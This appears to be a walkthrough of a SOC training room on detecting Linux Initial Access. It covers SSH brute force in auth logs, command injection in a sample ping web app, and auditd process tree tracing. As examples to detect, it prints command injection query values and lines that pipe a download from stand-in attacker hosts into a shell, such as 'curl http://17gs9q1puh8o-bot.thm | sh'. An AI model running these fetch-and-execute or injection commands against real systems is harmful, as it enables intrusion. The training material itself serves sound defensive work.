Linux remains at the core of modern computing — from cloud environments and IoT devices to enterprise servers powering the world’s infrastructure. As organizations increasingly adopt AI, automation, and distributed architectures, Linux systems have become both more essential and more exposed.
However, despite the evolving technology landscape, most Linux breaches still begin with the same set of well-known Initial Access techniques — weak SSH configurations, exposed services, and vulnerable web applications.
In this room, you’ll learn how to detect and investigate Initial Access attempts using Linux log sources and practical SOC methods such as process tree analysis. By tracing commands and uncovering how attackers first enter the system, you’ll gain hands-on experience in one of the most fundamental stages of threat detection.
Introduction
With the rise of AI, cloud computing, and the Internet of Things, Linux systems are getting even more popular than before. However, most Linux breaches still start with common, well-known Initial Access techniques. In this room, you will explore how to detect these techniques using the log sources you learned in the Linux Logging for SOC room.
Learning Objectives
Understand the role and risk of SSH in Linux environments
Learn how Internet-exposed services can lead to breaches
Utilize process tree analysis to identify the origin of the attack
Practice detecting Initial Access techniques in realistic labs
Prerequisites
Complete the Linux Logging for SOC room
Understand the concept of MITRE tactics and techniques
Know how to navigate Linux without using a GUI
Be ready for a deep dive into Linux threat detection
Initial Access via SSH
Popularity of SSH
One of the most popular Initial Access methods on Linux servers is an exposed SSH, a common remote access service used by IT teams worldwide. Nearly every Internet-facing Linux machine has SSH enabled, with Shodan reporting over 40 million machines in 2025. Only some administrators enforce a secure key-based authentication, while others still rely on weak passwords and leave their systems vulnerable to brute-force attacks.
Initial Access via SSH
Much like with RDP on Windows, SSH is both powerful and often poorly defended - in fact, both protocols are tracked under the External Remote Services MITRE technique. A lot of threat groups run vast botnets to scan the Internet for systems with exposed SSH and access them in two primary ways: via a stolen key or a breached password. Let's see how it usually happens:
Common risks when using key-based authentication:
Threat actors access a service or source code where private SSH keys have been stored
(Like a GitHub repository or Ansible automation server containing SSH credentials)
Threat actors steal SSH keys to a server by infecting an admin's laptop with a data stealer
Additional risks when using password-based authentication:
An IT admin sets a weak SSH password for a quick test and forgets to revert the changes
An IT support enables SSH for a contractor who sets the password to "12345678"
A network engineer accidentally exposes an old, insecure SSH server to the Internet
Most real-world Linux attacks, such as those by the Outlaw group, start from one of the scenarios above. However, you should also be aware of more advanced risks like a vulnerability in the SSH server itself, notably Erlang/OTP or SSH session hijacking, that you will learn in more advanced rooms.
For this task, open the VM and remind yourself how to work with SSH logs.
You can start from: cat /var/log/auth.log | grep "sshd"
Answer the questions below
When did the ubuntu user log in via SSH for the first time?
Answer Example: 2023-09-16.
last -F ubuntu
Did the ubuntu user use SSH keys instead of a password for the above found date? (Yea/Nay) Yea
Detecting SSH Attacks
SSH Breach Example
Now, imagine a common real-world scenario: An IT administrator enables public SSH access to the server, allows password-based authentication, and sets a weak password for one of the support users. Combined, these three actions inevitably lead to an SSH breach, as it's a matter of time before threat actors guess the password. The log sample below shows such a compromise: A brute force followed by a password breach. There are three indicators of malicious logins to pay attention to:
Detecting SSH Attacks
On Linux, you don't need to learn a dozen fields like logon type to figure out what's going on, making log analysis more straightforward. Your starting point in detecting SSH attacks can be as simple as listing all successful SSH logins and analyzing a few fields. Let's imagine you queried the logs and found three successful SSH logins, each of which could indicate an attack. How would you distinguish bad from good?
SuccessfulSSHLogins
ubuntu@thm-vm:~$ cat /var/log/auth.log | grep -E 'Accepted'
2025-08-19T14:00:02 thm-vm sshd[1013]: Accepted publickey for ansible from 10.14.105.255 port 18442 ssh2: [...]
2025-08-20T12:56:49 thm-vm sshd[2830]: Accepted password for jsmith from 54.155.224.201 port 51058 ssh2
2025-08-22T03:14:06 thm-vm sshd[2830]: Accepted password for jsmith from 196.251.118.184 port 51058 ssh2
Login of Ansible
The first login appears legitimate: It used public-key authentication from an internal IP, likely an Ansible automation account. Moreover, the login at exactly 14:00 matches periodic task behavior. But to be sure, you'd still need to verify that 10.14.105.255 is an Ansible server and review the following user's activity for signs of a breach.
Logins of Jsmith
The two logins of jsmith are more interesting, as there are three red flags: Password-based authentication, logins from external IPs, and time difference between the logins (one of the logins must be at night for the user, right?). Still, to make a final verdict, you might need to investigate more details:
Username: Who owns the user? Is it expected for them to log in at this time and from this IP?
Source IP: What do TI tools and asset lookups say about the IP? Is it trusted or malicious?
Login history: Was the login preceded by brute force or other suspicious system events?
Next steps: Is the login suspicious? Should I analyze user actions following the login?
Now, try to uncover the breach that started via SSH password brute force!
For this task, continue with the /var/log/auth.log on the VM.
Answer the questions below
When did the SSH password brute force start?
Answer Format: 2023-09-15.
grep "Failed password" /var/log/auth.log* | head -1
Which four users did the botnet attempt to breach?
Answer Format: Separate by a comma, in alphabetical order.
grep "Failed password" /var/log/auth.log | awk '{print $(NF-5)}' | sort | uniq
Finally, which IP managed to breach the root user?
grep "Accepted password for root" /var/log/auth.log
Initial Access via Services
Linux and Public Services
Linux systems often host public-facing services or applications such as web servers, email servers, databases, and various development or IT management tools. They also comprise the core of most firewall or VPN software. However, whenever one of these applications is compromised, the entire Linux host is at risk. This risk is covered with the T1190 MITRE technique. Let's see a few real-world examples:
Using Application Logs
If you want to know whether your email server was breached, you naturally reach for the email logs. On the other hand, can you expect an application to log "I am being exploited with a zero-day right now"? Of course not. That’s the nature of application logs - they rarely tell the full story, but they can still provide unique artifacts for analysis. For example, you can:
Use web logs to detect a variety of web attacks
Use database logs to detect suspicious SQL queries
Use VPN logs to detect abnormal VPN login events
Refer to other logs for specific events like bank transactions
Web as Initial Access
Any publicly exposed application can lead to a Linux breach, especially vulnerable web servers. Let's see an example: The IT team creates a simple web application called TryPingMe, where you can ping the specified IP online. Internally, the app runs a system command ping -c 2 [YOUR-INPUT] to test the connection, without any input filtering. The attackers would easily spot a command injection there, but can you spot the exploitation in the TryPingMe web logs?
TryPingMe Web Logs
ubuntu@thm-vm:~$ cat /var/log/nginx/access.log
10.2.33.10 - - [19/Aug/2025:12:26:07] "GET /ping?host=3.109.33.76 HTTP/1.1" 200 [...]
10.12.88.67 - - [23/Aug/2025:09:32:22] "GET /ping?host=54.36.19.83 HTTP/1.1" 200 [...]
10.14.105.255 - - [26/Aug/2025:20:09:43] "GET /ping?host=hello HTTP/1.1" 500 [...]
10.14.105.255 - - [26/Aug/2025:20:09:46] "GET /ping?host=whoami HTTP/1.1" 500 [...]
10.14.105.255 - - [26/Aug/2025:20:09:49] "GET /ping?host=;whoami HTTP/1.1" 200 [...]
10.14.105.255 - - [26/Aug/2025:20:10:41] "GET /ping?host=;ls HTTP/1.1" 200 [...]
Web Logs Analysis
The requests coming from 10.14.105.255 seem odd. Instead of IPs, the client puts Linux commands inside the query parameters - a clear sign of command injection! Although now you will need to start a deep investigation to unravel the whole story, from web logs alone you can assume that:
10.14.105.255 is likely the attacker's IP
The /ping page is vulnerable and allows code execution
The attacker executed OS commands like whoami and ls
The entire system is now at risk because of the TryPingMe vulnerability
Can you analyse TryPingMe web logs to detect the attacker's actions?
Use /var/log/nginx/access.log on the VM to answer the questions.
Answer the questions below
What is the path to the Python file the attacker attempted to open?
sudo find /var/www /srv /opt -type f -name "*.py" 2>/dev/null
Looking inside the opened file, what's the flag you see there?
sudo strings /opt/trypingme/main.py | grep -Eo 'THM{[^}]+}|flag{[^}]+}|FLAG:.*|FLAG{[^}]+}'
Detecting Service Breach
Building Process Tree
One way to detect a service breach is to use application logs, like you did in the previous task. But remember, application logs are not always available or helpful. Instead, most SOC teams rely on process tree analysis - a universal approach to unwrapping the Initial Access. For example, in this report, Wiz used a process tree to visually highlight how exactly Selenium servers were breached and how to spot it in process creation logs.
A common SOC scenario is when you receive an alert about a suspicious command, let's say whoami. Why was it executed - due to IT activity, or maybe a service breach? To answer this, all you need is to build a process tree and trace the command back to its parent process, as shown in the image below:
Auditd and Process Tree
Continuing the example, you begin by locating the suspicious command in the logs with ausearch -i -x whoami. Next, you walk up the process tree using the --pid option until you reach PID 1, the OS process. The tree eventually shows that whoami was launched by a Python web application (/opt/mywebapp/app.py). This immediately raises the question: Was the application breached and used as an entry point?
Tracing Whoami Origin
ubuntu@thm-vm:~$ ausearch -i -x whoami
type=PROCTITLE msg=audit(08/25/25 16:28:18.107:985) : proctitle=whoami
type=SYSCALL msg=audit(08/25/25 16:28:18.107:985) : syscall=execve success=yes exit=0 items=2 ppid=3905 pid=3907 auid=unset uid=ubuntu tty=(none) exe=/usr/bin/whoami key=exec
ubuntu@thm-vm:~$ ausearch -i --pid 3905
type=PROCTITLE msg=audit(08/25/25 16:28:17.101:983) : proctitle=/bin/sh -c whoami
type=SYSCALL msg=audit(08/25/25 16:28:17.101:983) : syscall=execve success=yes exit=0 items=2 ppid=3898 pid=3905 auid=unset uid=ubuntu tty=(none) exe=/usr/bin/dash key=exec
ubuntu@thm-vm:~$ ausearch -i --pid 3898
type=PROCTITLE msg=audit(08/25/25 16:28:11.727:982) : proctitle=/usr/bin/python3 /opt/mywebapp/app.py
type=SYSCALL msg=audit(08/25/25 16:28:11.727:982) : syscall=execve success=yes exit=0 items=2 ppid=1 pid=3898 auid=unset uid=ubuntu tty=(none) exe=/usr/bin/python3.12 key=exec
Next, you might wonder if whoami is simply part of the application's normal behavior. Maybe so, but that question would require web logs analysis, external research, or communication with the developers. What you can do instead is use the process tree to look for other, more dangerous commands launched by the app. By listing all child processes of /opt/mywebapp/app.py, you may find clearer evidence of the app's breach, like a malicious curl command!
Listing All Child Processes
ubuntu@thm-vm:~$ ausearch -i --ppid 3898 | grep 'proctitle'
type=PROCTITLE msg=audit(08/25/25 16:28:17.101:983) : proctitle=/bin/sh -c whoami
type=PROCTITLE msg=audit(08/25/25 16:28:18.230:985) : proctitle=/bin/sh -c ls -la
type=PROCTITLE msg=audit(08/25/25 16:28:19.765:987) : proctitle=/bin/sh -c curl http://17gs9q1puh8o-bot.thm | sh
[...]
Now let's look at the TryPingMe breach from the previous task through the auditd angle!
Use ausearch and the examples from the tasks to uncover the full picture.
Answer the questions below
What is the PPID of the suspicious whoami command?
ausearch -i -x whoami
Moving up the tree, what is the PID of the TryPingMe app?
ausearch -i --pid 1018
Which program did the attacker use to open a reverse shell? python
Advanced Initial Access
Human-Led Attacks
In the previous tasks, you explored Initial Access via SSH and exposed services. But what about phishing and USB attacks, so commonly seen in Windows environments? Since Linux primarily is a server OS operated by technical people, it is harder to trick system owners into running phishing malware or inserting a malicious USB. Still, the risk remains, for example:
| Scenario Example | Consequences |
| An IT member looks for a solution to a server issue and desperately tries this script found in a forum: `curl https://shadyforum.thm/fix.sh | bash` | The IT member didn't check the script content, and it appeared to be malware, silently infecting the server (Read more) |
A developer wants to install a Python "fastapi" package on the server, but mistypes a single letter: pip3 install fastpi | The mistyped package was malware, deliberately prepared and published by threat actors (Real-world case) |
Supply Chain Compromise
While not unique to Linux, you should also be aware of Supply Chain Compromise. These attacks breach a software first, and then infect all its users with the malicious update. Since a typical Linux server uses hundreds of software dependencies maintained by different developers, the attack can come from anywhere, anytime. Let's see some examples:
Detecting the Attacks
All Initial Access techniques described in this room can be uncovered through a process tree analysis. You start with a trigger, such as a SIEM alert on a suspicious command or a connection to a known malicious IP. From there, you build a process tree to trace which application or user initiated the events - a web server, an internal application, or an IT administrator’s SSH session. Finally, you determine whether the activity is legitimate or an indicator of malicious behavior:
Answer the questions below
Which Initial Access technique is likely used if a trusted app suddenly runs malicious commands? Supply Chain Compromise
Which detection method can you use to detect a variety of Initial Access techniques? Process Tree Analysis
Conclusion
Great job exploring the Initial Access techniques and an especially complex topic - the process tree analysis! While it may seem hard to apply, you will happily use it on a daily basis with some practice and a more convenient SIEM interface. Using the system log sources and auditd, you learned to identify how attacks start and are now ready to learn how they continue!
Key Takeaways
Attacks on SSH are widespread, but they are easy to detect via authentication logs
Exposed services are always a risk since they can lead to a whole Linux compromise
Check out the Bulletproof Penguin room to learn how to harden and secure Linux servers
While phishing is not common on Linux, human-led and supply attacks are still possible
Process tree analysis is your best approach in identifying the Initial Access techniques
You’ve now explored some of the most common paths adversaries use to gain entry into Linux systems — from brute-forced SSH logins and exploited web apps to human-led and supply chain attacks. Through hands-on investigation, you’ve learned how to trace these activities using auditd, auth logs, and process tree analysis, uncovering exactly how and where breaches begin.
Understanding these techniques is the foundation of Linux defense. In real SOC environments, these skills allow analysts to recognize early warning signs, isolate compromised services, and prevent attackers from moving deeper into the network.
As your next step, continue your journey with the Bulletproof Penguin room to strengthen your Linux hardening skills and apply everything you’ve learned here to real-world security operations.
